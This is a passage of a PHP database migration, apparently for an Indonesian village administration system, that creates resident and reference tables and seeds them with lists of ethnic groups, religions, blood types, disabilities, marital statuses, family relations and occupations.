], + [ + 'id' => 55, + 'suku' => 'Eropa ', + 'deskripsi' => 'Eropa (orang Indo, peranakan Eropa-Indonesia, atau etnik Mestizo)', + ], + [ + 'id' => 56, + 'suku' => 'Flores', + 'deskripsi' => 'Flores di NTT (Flores Timur)', + ], + [ + 'id' => 57, + 'suku' => 'Lamaholot', + 'deskripsi' => 'Lamaholot, Flores Timur, terdiri dari: Suku Wandan, di Solor Timur, Flores Timur; Suku Kaliha, di Solor Timur, Flores Timur; Suku Serang Gorang, di Solor Timur, Flores Timur; Suku Lamarobak, di Solor Timur, Flores Timur; Suku Atanuhan, di Solor Timur, Flores Timur; Suku Wotan, di Solor Timur, Flores Timur; Suku Kapitan Belen, di Solor Timur, Flores Timur', + ], + [ + 'id' => 58, + 'suku' => 'Gayo', + 'deskripsi' => 'Gayo di Aceh (Gayo Lues Aceh Tengah Bener Meriah Aceh Tenggara Aceh Timur Aceh Tamiang)', + ], + [ + 'id' => 59, + 'suku' => 'Gorontalo', + 'deskripsi' => 'Gorontalo di Gorontalo (Kota Gorontalo)', + ], + [ + 'id' => 60, + 'suku' => 'Gumai ', + 'deskripsi' => 'Gumai di Sumatera Selatan (Lahat)', + ], + [ + 'id' => 61, + 'suku' => 'India', + 'deskripsi' => 'India, terdiri dari: Suku Tamil di Aceh, Sumatera Utara, Sumatera Barat, dan DKI Jakarta; Suku Punjab di Sumatera Utara, DKI Jakarta, dan Jawa Timur; Suku Bengali di DKI Jakarta; Suku Gujarati di DKI Jakarta dan Jawa Tengah; Orang Sindhi di DKI Jakarta dan Jawa Timur; Orang Sikh di Sumatera Utara, DKI Jakarta, dan Jawa Timur', + ], + [ + 'id' => 62, + 'suku' => 'Jawa', + 'deskripsi' => 'Jawa di Jawa Tengah, Jawa Timur, DI Yogyakarta', + ], + [ + 'id' => 63, + 'suku' => 'Tengger', + 'deskripsi' => "Tengger\u{a0}di Jawa Timur (Probolinggo, Pasuruan, dan Malang)", + ], + [ + 'id' => 64, + 'suku' => 'Osing ', + 'deskripsi' => 'Osing di Jawa Timur (Banyuwangi)', + ], + [ + 'id' => 65, + 'suku' => 'Samin ', + 'deskripsi' => 'Samin di Jawa Tengah (Purwodadi)', + ], + [ + 'id' => 66, + 'suku' => 'Bawean', + 'deskripsi' => 'Bawean di Jawa Timur (Pulau Bawean)', + ], + [ + 'id' => 67, + 'suku' => 'Jambi ', + 'deskripsi' => 'Jambi di Jambi (Kota Jambi)', + ], + [ + 'id' => 68, + 'suku' => 'Jepang', + 'deskripsi' => 'Jepang di DKI Jakarta, Jawa Timur, dan Bali', + ], + [ + 'id' => 69, + 'suku' => 'Kei', + 'deskripsi' => 'Kei di Maluku Tenggara (Kabupaten Maluku Tenggara dan Kota Tual)', + ], + [ + 'id' => 70, + 'suku' => 'Kaili ', + 'deskripsi' => 'Kaili di Sulawesi Tengah (Kota Palu)', + ], + ['id' => 71, 'suku' => 'Kampar', 'deskripsi' => 'Kampar'], + [ + 'id' => 72, + 'suku' => 'Kaur ', + 'deskripsi' => 'Kaur di Bengkulu (Kabupaten Kaur)', + ], + [ + 'id' => 73, + 'suku' => 'Kayu Agung', + 'deskripsi' => 'Kayu Agung di Sumatera Selatan', + ], + [ + 'id' => 74, + 'suku' => 'Kerinci', + 'deskripsi' => 'Kerinci di Jambi (Kabupaten Kerinci)', + ], + [ + 'id' => 75, + 'suku' => 'Komering ', + 'deskripsi' => 'Komering di Sumatera Selatan (Kabupaten Ogan Komering Ilir, Baturaja)', + ], + [ + 'id' => 76, + 'suku' => 'Konjo Pegunungan', + 'deskripsi' => 'Konjo Pegunungan, Kabupaten Gowa, Sulawesi Selatan', + ], + [ + 'id' => 77, + 'suku' => 'Konjo Pesisir', + 'deskripsi' => 'Konjo Pesisir, Kabupaten Bulukumba, Sulawesi Selatan', + ], + [ + 'id' => 78, + 'suku' => 'Koto', + 'deskripsi' => 'Koto di Sumatera Barat', + ], + [ + 'id' => 79, + 'suku' => 'Kubu', + 'deskripsi' => 'Kubu di Jambi dan Sumatera Selatan', + ], + [ + 'id' => 80, + 'suku' => 'Kulawi', + 'deskripsi' => 'Kulawi di Sulawesi Tengah', + ], + [ + 'id' => 81, + 'suku' => 'Kutai ', + 'deskripsi' => 'Kutai di Kalimantan Timur (Kutai Kartanegara)', + ], + [ + 'id' => 82, + 'suku' => 'Kluet ', + 'deskripsi' => 'Kluet di Aceh (Aceh Selatan)', + ], + [ + 'id' => 83, + 'suku' => 'Korea ', + 'deskripsi' => 'Korea di DKI Jakarta', + ], + ['id' => 84, 'suku' => 'Krui', 'deskripsi' => 'Krui di Lampung'], + [ + 'id' => 85, + 'suku' => 'Laut,', + 'deskripsi' => 'Laut, Kepulauan Riau', + ], + [ + 'id' => 86, + 'suku' => 'Lampung', + 'deskripsi' => 'Lampung, terdiri dari: Suku Sungkai di Lampung; Suku Abung di Lampung; Suku Way Kanan di Lampung, Sumatera Selatan dan Bengkulu; Suku Pubian di Lampung; Suku Tulang Bawang di Lampung; Suku Melinting di Lampung; Suku Peminggir Teluk di Lampung; Suku Ranau di Lampung, Sumatera Selatan dan Sumatera Utara; Suku Komering di Sumatera Selatan; Suku Cikoneng di Banten; Suku Merpas di Bengkulu; Suku Belalau di Lampung; Suku Smoung di Lampung; Suku Semaka di Lampung', + ], + [ + 'id' => 87, + 'suku' => 'Lematang ', + 'deskripsi' => 'Lematang di Sumatera Selatan', + ], + [ + 'id' => 88, + 'suku' => 'Lembak', + 'deskripsi' => 'Lembak, Kabupaten Rejang Lebong, Bengkulu', + ], + [ + 'id' => 89, + 'suku' => 'Lintang', + 'deskripsi' => 'Lintang, Sumatera Selatan', + ], + [ + 'id' => 90, + 'suku' => 'Lom', + 'deskripsi' => 'Lom, Bangka Belitung', + ], + [ + 'id' => 91, + 'suku' => 'Lore', + 'deskripsi' => 'Lore, Sulawesi Tengah', + ], + [ + 'id' => 92, + 'suku' => 'Lubu', + 'deskripsi' => 'Lubu, daerah perbatasan antara Provinsi Sumatera Utara dan Provinsi Sumatera Barat', + ], + [ + 'id' => 93, + 'suku' => 'Moronene', + 'deskripsi' => 'Moronene di Sulawesi Tenggara.', + ], + [ + 'id' => 94, + 'suku' => 'Madura', + 'deskripsi' => 'Madura di Jawa Timur (Pulau Madura, Kangean, wilayah Tapal Kuda)', + ], + [ + 'id' => 95, + 'suku' => 'Makassar', + 'deskripsi' => 'Makassar di Sulawesi Selatan: Kabupaten Gowa, Kabupaten Takalar, Kabupaten Jeneponto, Kabupaten Bantaeng, Kabupaten Bulukumba (sebagian), Kabupaten Sinjai (bagian perbatasan Kab Gowa), Kabupaten Maros (sebagian), Kabupaten Pangkep (sebagian), Kota Makassar', + ], + [ + 'id' => 96, + 'suku' => 'Mamasa', + 'deskripsi' => 'Mamasa (Toraja Barat) di Sulawesi Barat: Kabupaten Mamasa', + ], + [ + 'id' => 97, + 'suku' => 'Manda', + 'deskripsi' => 'Mandar Sulawesi Barat: Polewali Mandar', + ], + [ + 'id' => 98, + 'suku' => 'Melayu', + 'deskripsi' => 'Melayu, terdiri dari Suku Melayu Tamiang di Aceh (Aceh Tamiang], Suku Melayu Riau di Riau dan Kepulauan Riau; Suku Melayu Deli di Sumatera Utara; Suku Melayu Jambi di Jambi; Suku Melayu Bangka di Pulau Bangka; Suku Melayu Belitung di Pulau Belitung; Suku Melayu Sambas di Kalimantan Barat', + ], + [ + 'id' => 99, + 'suku' => 'Mentawai', + 'deskripsi' => 'Mentawai di Sumatera Barat (Kabupaten Kepulauan Mentawai)', + ], + [ + 'id' => 100, + 'suku' => 'Minahasa', + 'deskripsi' => 'Minahasa di Sulawesi Utara (Kabupaten Minahasa), terdiri 9 subetnik : Suku Babontehu; Suku Bantik; Suku Pasan Ratahan', + ], + [ + 'id' => 101, + 'suku' => 'Ponosakan', + 'deskripsi' => 'Ponosakan; Suku Tonsea; Suku Tontemboan; Suku Toulour; Suku Tonsawang; Suku Tombulu', + ], + [ + 'id' => 102, + 'suku' => 'Minangkabau', + 'deskripsi' => 'Minangkabau, Sumatera Barat', + ], + [ + 'id' => 103, + 'suku' => 'Mongondow', + 'deskripsi' => 'Mongondow, Sulawesi Utara', + ], + [ + 'id' => 104, + 'suku' => 'Mori', + 'deskripsi' => 'Mori, Kabupaten Morowali, Sulawesi Tengah', + ], + [ + 'id' => 105, + 'suku' => 'Muko-Muko', + 'deskripsi' => 'Muko-Muko di Bengkulu (Kabupaten Mukomuko)', + ], + [ + 'id' => 106, + 'suku' => 'Muna', + 'deskripsi' => 'Muna di Sulawesi Tenggara (Kabupaten Muna)', + ], + [ + 'id' => 107, + 'suku' => 'Muyu', + 'deskripsi' => 'Muyu di Kabupaten Boven Digoel, Papua', + ], + [ + 'id' => 108, + 'suku' => 'Mekongga', + 'deskripsi' => 'Mekongga di Sulawesi Tenggara (Kabupaten Kolaka dan Kabupaten Kolaka Utara)', + ], + [ + 'id' => 109, + 'suku' => 'Moro', + 'deskripsi' => 'Moro di Kalimantan Barat dan Kalimantan Utara', + ], + [ + 'id' => 110, + 'suku' => 'Nias', + 'deskripsi' => 'Nias di Sumatera Utara (Kabupaten Nias, Nias Selatan dan Nias Utara dari dua keturunan Jepang dan Vietnam)', + ], + [ + 'id' => 111, + 'suku' => 'Ngada ', + 'deskripsi' => 'Ngada di NTT: Kabupaten Ngada', + ], + [ + 'id' => 112, + 'suku' => 'Osing', + 'deskripsi' => 'Osing di Banyuwangi Jawa Timur', + ], + [ + 'id' => 113, + 'suku' => 'Ogan', + 'deskripsi' => 'Ogan di Sumatera Selatan', + ], + [ + 'id' => 114, + 'suku' => 'Ocu', + 'deskripsi' => 'Ocu di Kabupaten Kampar, Riau', + ], + [ + 'id' => 115, + 'suku' => 'Padoe', + 'deskripsi' => 'Padoe di Sulawesi Tengah dan Sulawesi Selatan', + ], + [ + 'id' => 116, + 'suku' => 'Papua', + 'deskripsi' => 'Papua / Irian, terdiri dari: Suku Asmat di Kabupaten Asmat; Suku Biak di Kabupaten Biak Numfor; Suku Dani, Lembah Baliem, Papua; Suku Ekagi, daerah Paniai, Abepura, Papua; Suku Amungme di Mimika; Suku Bauzi, Mamberamo hilir, Papua utara; Suku Arfak di Manokwari; Suku Kamoro di Mimika', + ], + [ + 'id' => 117, + 'suku' => 'Palembang', + 'deskripsi' => 'Palembang di Sumatera Selatan (Kota Palembang)', + ], + [ + 'id' => 118, + 'suku' => 'Pamona', + 'deskripsi' => 'Pamona di Sulawesi Tengah (Kabupaten Poso) dan di Sulawesi Selatan', + ], + [ + 'id' => 119, + 'suku' => 'Pesisi', + 'deskripsi' => 'Pesisi di Sumatera Utara (Tapanuli Tengah)', + ], + [ + 'id' => 120, + 'suku' => 'Pasir', + 'deskripsi' => 'Pasir di Kalimantan Timur (Kabupaten Pasir)', + ], + [ + 'id' => 121, + 'suku' => 'Pubian', + 'deskripsi' => 'Pubian di Lampung', + ], + [ + 'id' => 122, + 'suku' => 'Pattae', + 'deskripsi' => 'Pattae di Polewali Mandar', + ], + [ + 'id' => 123, + 'suku' => 'Pakistani', + 'deskripsi' => 'Pakistani di Sumatera Utara, DKI Jakarta, dan Jawa Tengah', + ], + [ + 'id' => 124, + 'suku' => 'Peranakan', + 'deskripsi' => 'Peranakan (Tionghoa-Peranakan atau Baba Nyonya)', + ], + [ + 'id' => 125, + 'suku' => 'Rawa', + 'deskripsi' => 'Rawa, Rokan Hilir, Riau', + ], + [ + 'id' => 126, + 'suku' => 'Rejang', + 'deskripsi' => 'Rejang di Bengkulu (Kabupaten Bengkulu Tengah, Kabupaten Bengkulu Utara, Kabupaten Kepahiang, Kabupaten Lebong, dan Kabupaten Rejang Lebong)', + ], + [ + 'id' => 127, + 'suku' => 'Rote', + 'deskripsi' => 'Rote di NTT (Kabupaten Rote Ndao)', + ], + [ + 'id' => 128, + 'suku' => 'Rongga', + 'deskripsi' => 'Rongga di NTT Kabupaten Manggarai Timur', + ], + ['id' => 129, 'suku' => 'Rohingya', 'deskripsi' => 'Rohingya'], + [ + 'id' => 130, + 'suku' => 'Sabu', + 'deskripsi' => 'Sabu di Pulau Sabu, NTT', + ], + [ + 'id' => 131, + 'suku' => 'Saluan', + 'deskripsi' => 'Saluan di Sulawesi Tengah', + ], + [ + 'id' => 132, + 'suku' => 'Sambas', + 'deskripsi' => 'Sambas (Melayu Sambas) di Kalimantan Barat: Kabupaten Sambas', + ], + [ + 'id' => 133, + 'suku' => 'Samin', + 'deskripsi' => 'Samin di Jawa Tengah (Blora) dan Jawa Timur (Bojonegoro)', + ], + [ + 'id' => 134, + 'suku' => 'Sangi', + 'deskripsi' => 'Sangir di Sulawesi Utara (Kepulauan Sangihe)', + ], + [ + 'id' => 135, + 'suku' => 'Sasak', + 'deskripsi' => "Sasak\u{a0}di NTB, Lombok", + ], + [ + 'id' => 136, + 'suku' => 'Sekak Bangka', + 'deskripsi' => 'Sekak Bangka', + ], + [ + 'id' => 137, + 'suku' => 'Sekayu', + 'deskripsi' => 'Sekayu di Sumatera Selatan', + ], + [ + 'id' => 138, + 'suku' => 'Semendo ', + 'deskripsi' => 'Semendo di Bengkulu, Sumatera Selatan (Muara Enim)', + ], + [ + 'id' => 139, + 'suku' => 'Serawai ', + 'deskripsi' => 'Serawai di Bengkulu (Kabupaten Bengkulu Selatan dan Kabupaten Seluma)', + ], + [ + 'id' => 140, + 'suku' => 'Simeulue', + 'deskripsi' => 'Simeulue di Aceh (Kabupaten Simeulue)', + ], + [ + 'id' => 141, + 'suku' => 'Sigulai ', + 'deskripsi' => 'Sigulai di Aceh (Kabupaten Simeulue bagian utara', + ], + [ + 'id' => 142, + 'suku' => 'Suluk', + 'deskripsi' => 'Suluk di Kalimantan Utara)', + ], + [ + 'id' => 143, + 'suku' => 'Sumbawa ', + 'deskripsi' => 'Sumbawa Di NTB (Kabupaten Sumbawa)', + ], + [ + 'id' => 144, + 'suku' => 'Sumba', + 'deskripsi' => 'Sumba di NTT (Sumba Barat, Sumba Timur)', + ], + [ + 'id' => 145, + 'suku' => 'Sunda', + 'deskripsi' => 'Sunda di Jawa Barat, Banten, DKI Jakarta, Lampung, Sumatra Selatan dan Jawa Tengah', + ], + [ + 'id' => 146, + 'suku' => 'Sungkai ', + 'deskripsi' => 'Sungkai di Lampung Lampung Utara', + ], + [ + 'id' => 147, + 'suku' => 'Talau', + 'deskripsi' => 'Talaud di Sulawesi Utara (Kepulauan Talaud)', + ], + [ + 'id' => 148, + 'suku' => 'Talang Mamak', + 'deskripsi' => 'Talang Mamak di Riau (Indragiri Hulu)', + ], + [ + 'id' => 149, + 'suku' => 'Tamiang ', + 'deskripsi' => 'Tamiang di Aceh (Kabupaten Aceh Tamiang)', + ], + [ + 'id' => 150, + 'suku' => 'Tengger ', + 'deskripsi' => 'Tengger di Jawa Timur (Kabupaten Pasuruan) dan Probolinggo (lereng G. Bromo)', + ], + [ + 'id' => 151, + 'suku' => 'Ternate ', + 'deskripsi' => 'Ternate di Maluku Utara (Kota Ternate)', + ], + [ + 'id' => 152, + 'suku' => 'Tidore', + 'deskripsi' => 'Tidore di Maluku Utara (Kota Tidore)', + ], + [ + 'id' => 153, + 'suku' => 'Tidung', + 'deskripsi' => 'Tidung di Kalimantan Timur (Kabupaten Tanah Tidung)', + ], + [ + 'id' => 154, + 'suku' => 'Timor', + 'deskripsi' => 'Timor di NTT, Kota Kupang', + ], + [ + 'id' => 155, + 'suku' => 'Tionghoa', + 'deskripsi' => 'Tionghoa, terdiri dari: Orang Cina Parit di Pelaihari, Tanah Laut, Kalsel; Orang Cina Benteng di Tangerang, Provinsi Banten; Orang Tionghoa Hokkien di Jawa dan Sumatera Utara; Orang Tionghoa Hakka di Belitung dan Kalimantan Barat; Orang Tionghoa Hubei; Orang Tionghoa Hainan; Orang Tionghoa Kanton; Orang Tionghoa Hokchia; Orang Tionghoa Tiochiu', + ], + [ + 'id' => 156, + 'suku' => 'Tojo', + 'deskripsi' => 'Tojo di Sulawesi Tengah (Kabupaten Tojo Una-Una)', + ], + [ + 'id' => 157, + 'suku' => 'Toraja', + 'deskripsi' => 'Toraja di Sulawesi Selatan (Tana Toraja)', + ], + [ + 'id' => 158, + 'suku' => 'Tolaki', + 'deskripsi' => 'Tolaki di Sulawesi Tenggara (Kendari)', + ], + [ + 'id' => 159, + 'suku' => 'Toli Toli', + 'deskripsi' => 'Toli Toli di Sulawesi Tengah (Kabupaten Toli-Toli)', + ], + [ + 'id' => 160, + 'suku' => 'Tomini', + 'deskripsi' => 'Tomini di Sulawesi Tengah (Kabupaten Parigi Mouton', + ], + [ + 'id' => 161, + 'suku' => 'Una-una ', + 'deskripsi' => 'Una-una di Sulawesi Tengah (Kabupaten Tojo Una-Una)', + ], + [ + 'id' => 162, + 'suku' => 'Ulu', + 'deskripsi' => 'Ulu di Sumatera Utara (Mandailing natal)', + ], + [ + 'id' => 163, + 'suku' => 'Wolio', + 'deskripsi' => 'Wolio di Sulawesi Tenggara (Buton)', + ], + ]); + + DB::statement(' + CREATE TABLE `ref_peristiwa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_peristiwa')->insert([ + ['id' => 1, 'nama' => 'Lahir'], + ['id' => 2, 'nama' => 'Mati'], + ['id' => 3, 'nama' => 'Pindah Keluar'], + ['id' => 4, 'nama' => 'Hilang'], + ['id' => 5, 'nama' => 'Pindah Masuk'], + ['id' => 6, 'nama' => 'Pergi'], + ]); + + DB::statement(' + CREATE TABLE `ref_pindah` ( + `id` tinyint(4) NOT NULL, + `nama` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_pindah')->insert([ + ['id' => 1, 'nama' => 'Pindah keluar Desa/Kelurahan'], + ['id' => 2, 'nama' => 'Pindah keluar Kecamatan'], + ['id' => 3, 'nama' => 'Pindah keluar Kabupaten/Kota'], + ['id' => 4, 'nama' => 'Pindah keluar Provinsi'], + ]); + + DB::statement(' + CREATE TABLE `suplemen` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(100) DEFAULT NULL, + `slug` varchar(255) DEFAULT NULL, + `sasaran` tinyint(4) DEFAULT NULL, + `keterangan` varchar(300) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `slug` (`slug`) + ); + '); + + DB::statement(' + CREATE TABLE `tweb_cacat` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_cacat')->insert([ + ['id' => 1, 'nama' => 'CACAT FISIK'], + ['id' => 2, 'nama' => 'CACAT NETRA/BUTA'], + ['id' => 3, 'nama' => 'CACAT RUNGU/WICARA'], + ['id' => 4, 'nama' => 'CACAT MENTAL/JIWA'], + ['id' => 5, 'nama' => 'CACAT FISIK DAN MENTAL'], + ['id' => 6, 'nama' => 'CACAT LAINNYA'], + ['id' => 7, 'nama' => 'TIDAK CACAT'], + ]); + + DB::statement(' + CREATE TABLE `tweb_cara_kb` ( + `id` tinyint(5) NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + `sex` tinyint(2) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_cara_kb')->insert([ + ['id' => 1, 'nama' => 'Pil', 'sex' => 2], + ['id' => 2, 'nama' => 'IUD', 'sex' => 2], + ['id' => 3, 'nama' => 'Suntik', 'sex' => 2], + ['id' => 4, 'nama' => 'Kondom', 'sex' => 1], + ['id' => 5, 'nama' => 'Susuk KB', 'sex' => 2], + ['id' => 6, 'nama' => 'Sterilisasi Wanita', 'sex' => 2], + ['id' => 7, 'nama' => 'Sterilisasi Pria', 'sex' => 1], + ['id' => 99, 'nama' => 'Lainnya', 'sex' => 3], + ]); + + DB::statement(' + CREATE TABLE `tweb_golongan_darah` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(15) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_golongan_darah')->insert([ + ['id' => 1, 'nama' => 'A'], + ['id' => 2, 'nama' => 'B'], + ['id' => 3, 'nama' => 'AB'], + ['id' => 4, 'nama' => 'O'], + ['id' => 5, 'nama' => 'A+'], + ['id' => 6, 'nama' => 'A-'], + ['id' => 7, 'nama' => 'B+'], + ['id' => 8, 'nama' => 'B-'], + ['id' => 9, 'nama' => 'AB+'], + ['id' => 10, 'nama' => 'AB-'], + ['id' => 11, 'nama' => 'O+'], + ['id' => 12, 'nama' => 'O-'], + ['id' => 13, 'nama' => 'TIDAK TAHU'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + `nik` varchar(16) DEFAULT NULL, + `id_kk` int(11) DEFAULT 0, + `kk_level` tinyint(2) DEFAULT NULL, + `id_rtm` varchar(30) DEFAULT NULL, + `rtm_level` int(11) DEFAULT NULL, + `sex` tinyint(4) unsigned DEFAULT NULL, + `tempatlahir` varchar(100) DEFAULT NULL, + `tanggallahir` date DEFAULT NULL, + `agama_id` int(1) DEFAULT NULL, + `pendidikan_kk_id` int(1) DEFAULT NULL, + `pendidikan_sedang_id` int(1) DEFAULT NULL, + `pekerjaan_id` int(1) DEFAULT NULL, + `status_kawin` tinyint(4) DEFAULT NULL, + `warganegara_id` tinyint(4) NOT NULL DEFAULT 1, + `dokumen_pasport` varchar(45) DEFAULT NULL, + `dokumen_kitas` varchar(45) DEFAULT NULL, + `ayah_nik` varchar(16) DEFAULT NULL, + `ibu_nik` varchar(16) DEFAULT NULL, + `nama_ayah` varchar(100) DEFAULT NULL, + `nama_ibu` varchar(100) DEFAULT NULL, + `foto` varchar(100) DEFAULT NULL, + `golongan_darah_id` int(11) DEFAULT NULL, + `id_cluster` int(11) NOT NULL, + `status` int(10) unsigned DEFAULT NULL, + `alamat_sebelumnya` varchar(200) DEFAULT NULL, + `alamat_sekarang` varchar(200) DEFAULT NULL, + `status_dasar` tinyint(4) NOT NULL DEFAULT 1, + `hamil` int(1) DEFAULT NULL, + `cacat_id` int(11) DEFAULT NULL, + `sakit_menahun_id` int(11) DEFAULT NULL, + `akta_lahir` varchar(40) DEFAULT NULL, + `akta_perkawinan` varchar(40) DEFAULT NULL, + `tanggalperkawinan` date DEFAULT NULL, + `akta_perceraian` varchar(40) DEFAULT NULL, + `tanggalperceraian` date DEFAULT NULL, + `cara_kb_id` tinyint(2) DEFAULT NULL, + `telepon` varchar(20) DEFAULT NULL, + `tanggal_akhir_paspor` date DEFAULT NULL, + `no_kk_sebelumnya` varchar(30) DEFAULT NULL, + `ktp_el` tinyint(4) DEFAULT NULL, + `status_rekam` tinyint(4) DEFAULT NULL, + `waktu_lahir` varchar(5) DEFAULT NULL, + `tempat_dilahirkan` tinyint(2) DEFAULT NULL, + `jenis_kelahiran` tinyint(2) DEFAULT NULL, + `kelahiran_anak_ke` tinyint(2) DEFAULT NULL, + `penolong_kelahiran` tinyint(2) DEFAULT NULL, + `berat_lahir` smallint(6) DEFAULT NULL, + `panjang_lahir` varchar(10) DEFAULT NULL, + `tag_id_card` varchar(17) DEFAULT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) DEFAULT NULL, + `id_asuransi` tinyint(5) DEFAULT NULL, + `no_asuransi` char(100) DEFAULT NULL, + `email` varchar(100) DEFAULT NULL, + `email_token` varchar(100) DEFAULT NULL, + `email_tgl_kadaluarsa` datetime DEFAULT NULL, + `email_tgl_verifikasi` datetime DEFAULT NULL, + `telegram` varchar(100) DEFAULT NULL, + `telegram_token` varchar(100) DEFAULT NULL, + `telegram_tgl_kadaluarsa` datetime DEFAULT NULL, + `telegram_tgl_verifikasi` datetime DEFAULT NULL, + `bahasa_id` int(11) DEFAULT NULL, + `ket` tinytext DEFAULT NULL, + `negara_asal` varchar(50) DEFAULT NULL, + `tempat_cetak_ktp` varchar(150) DEFAULT NULL, + `tanggal_cetak_ktp` date DEFAULT NULL, + `suku` varchar(150) DEFAULT NULL, + `bpjs_ketenagakerjaan` char(100) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `tag_id_card` (`tag_id_card`), + UNIQUE KEY `nik` (`nik`), + UNIQUE KEY `telegram` (`telegram`), + UNIQUE KEY `telegram_token` (`telegram_token`), + UNIQUE KEY `email_token` (`email_token`), + UNIQUE KEY `email` (`email`), + KEY `id_rtm` (`id_rtm`) + ); + '); + + DB::statement(' + CREATE TABLE `tweb_penduduk_agama` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_agama')->insert([ + ['id' => 1, 'nama' => 'ISLAM'], + ['id' => 2, 'nama' => 'KRISTEN'], + ['id' => 3, 'nama' => 'KATHOLIK'], + ['id' => 4, 'nama' => 'HINDU'], + ['id' => 5, 'nama' => 'BUDHA'], + ['id' => 6, 'nama' => 'KHONGHUCU'], + ['id' => 7, 'nama' => 'Kepercayaan Terhadap Tuhan YME / Lainnya'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_asuransi` ( + `id` tinyint(5) NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_asuransi')->insert([ + ['id' => 1, 'nama' => 'Tidak/Belum Punya'], + ['id' => 2, 'nama' => 'BPJS Penerima Bantuan Iuran'], + ['id' => 3, 'nama' => 'BPJS Non Penerima Bantuan Iuran'], + ['id' => 99, 'nama' => 'Asuransi Lainnya'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_hubungan` ( + `id` int(10) NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_hubungan')->insert([ + ['id' => 1, 'nama' => 'KEPALA KELUARGA'], + ['id' => 2, 'nama' => 'SUAMI'], + ['id' => 3, 'nama' => 'ISTRI'], + ['id' => 4, 'nama' => 'ANAK'], + ['id' => 5, 'nama' => 'MENANTU'], + ['id' => 6, 'nama' => 'CUCU'], + ['id' => 7, 'nama' => 'ORANGTUA'], + ['id' => 8, 'nama' => 'MERTUA'], + ['id' => 9, 'nama' => 'FAMILI LAIN'], + ['id' => 10, 'nama' => 'PEMBANTU'], + ['id' => 11, 'nama' => 'LAINNYA'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_kawin` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_kawin')->insert([ + ['id' => 1, 'nama' => 'BELUM KAWIN'], + ['id' => 2, 'nama' => 'KAWIN'], + ['id' => 3, 'nama' => 'CERAI HIDUP'], + ['id' => 4, 'nama' => 'CERAI MATI'], + ]); + + DB::statement(' + CREATE TABLE `tweb_penduduk_map` ( + `id` int(11) NOT NULL, + `lat` varchar(24) DEFAULT NULL, + `lng` varchar(24) DEFAULT NULL + ); + '); + + DB::statement(' + CREATE TABLE `tweb_penduduk_pekerjaan` ( + `id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_penduduk_pekerjaan')->insert([ + ['id' => 1, 'nama' => 'BELUM/TIDAK BEKERJA'], + ['id' => 2, 'nama' => 'MENGURUS RUMAH TANGGA'], + ['id' => 3, 'nama' => 'PELAJAR/MAHASISWA'], + ['id' => 4, 'nama' => 'PENSIUNAN'], + ['id' => 5, 'nama' => 'PEGAWAI NEGERI SIPIL (PNS)'], + ['id' => 6, 'nama' => 'TENTARA NASIONAL INDONESIA (TNI)'], + ['id' => 7, 'nama' => 'KEPOLISIAN RI (POLRI)'], + ['id' => 8, 'nama' => 'PERDAGANGAN'], + ['id' => 9, 'nama' => 'PETANI/PEKEBUN'], + ['id' => 10, 'nama' => 'PETERNAK'], + ['id' => 11, 'nama' => 'NELAYAN/PERIKANAN'], + ['id' => 12, 'nama' => 'INDUSTRI'], + ['id' => 13, 'nama' => 'KONSTRUKSI'], + ['id' => 14, 'nama' => 'TRANSPORTASI'], + ['id' => 15, 'nama' => 'KARYAWAN SWASTA'], + ['id' => 16, 'nama' => 'KARYAWAN BUMN'], + ['id' => 17, 'nama' => 'KARYAWAN BUMD'], + ['id' => 18, 'nama' => 'KARYAWAN HONORER'], + ['id' => 19, 'nama' => 'BURUH HARIAN LEPAS'], + ['id' => 20, 'nama' => 'BURUH TANI/PERKEBUNAN'], + ['id' => 21, 'nama' => 'BURUH NELAYAN/PERIKANAN'], + ['id' => 22, 'nama' => 'BURUH PETERNAKAN'], + ['id' => 23, 'nama' => 'PEMBANTU RUMAH TANGGA'], + ['id' => 24, 'nama' => 'TUKANG CUKUR'], + ['id' => 25, 'nama' => 'TUKANG LISTRIK'], + ['id' => 26, 'nama' => 'TUKANG BATU'], + ['id' => 27, 'nama' => 'TUKANG KAYU'], + ['id' => 28, 'nama' => 'TUKANG SOL SEPATU'], + ['id' => 29, 'nama' => 'TUKANG LAS/PANDAI BESI'], + ['id' => 30, 'nama' => 'TUKANG JAHIT'], + ['id' => 31, 'nama' => 'TUKANG GIGI'], + ['id' => 32, 'nama' => 'PENATA RIAS'], + ['id' => 33, 'nama' => 'PENATA BUSANA'], + ['id' => 34, 'nama' => 'PENATA RAMBUT'], + ['id' => 35, 'nama' => 'MEKANIK'], + ['id' => 36, 'nama' => 'SENIMAN'], + 